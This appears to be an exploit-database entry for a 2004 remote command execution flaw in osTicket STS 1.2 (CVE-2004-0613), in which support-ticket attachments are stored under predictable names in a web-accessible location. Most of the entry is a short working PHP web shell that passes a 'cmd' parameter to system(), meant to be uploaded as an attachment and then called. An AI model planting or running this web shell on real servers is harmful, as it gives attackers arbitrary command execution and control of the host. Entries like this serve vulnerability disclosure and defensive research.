osTicket STS 1.2 - Attachment Remote Command Execution
Author: Guy Pearce
type: webapps
platform: php
port:
date_added: 2004-06-21
date_updated: 2013-01-19
verified: 1
codes: CVE-2004-0613;OSVDB-15692
tags:
aliases:
screenshot_url:
application_url:
source: https://www.securityfocus.com/bid/10586/info
osTicket is reported prone to a remote command execution vulnerability. The issue is reported to present itself because attachments submitted as a part of a support ticket request are stored with a predictable name in a known web accessible location.
<?PHP
echo "<form action = ''><input type = 'text' name = 'cmd' value = '$cmd' size = '75'><BR>";
if (!$cmd)die;
system($cmd);
?>